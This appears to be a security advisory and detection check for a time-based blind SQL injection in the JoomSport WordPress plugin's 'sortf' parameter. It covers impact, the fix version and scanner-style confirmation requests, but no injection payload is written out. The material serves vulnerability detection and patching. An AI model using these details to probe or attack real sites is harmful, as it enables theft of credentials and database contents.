Readycheck to confirm it

The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.

Impact

Unauthenticated attackers can extract any data from the WordPress database including admin credentials, user emails, and plugin-stored secrets via time-based blind SQL injection.

Fix

Update to JoomSport version 5.7.8 or later, which implements column whitelist validation.

How to confirm it

Send: GET {{BaseURL}}/wp-sitemap-posts-joomsport_season-1.xml
Positive when: status_code == 200 and contains(body, "<loc>")
Send: GET {{season_path}}?action=playerlist&sortf=post_title&sortd=ASC
Positive when: status_code == 200 and contains_all(body, "Name", "Match played", "Played minutes")
Send: @timeout: 20s
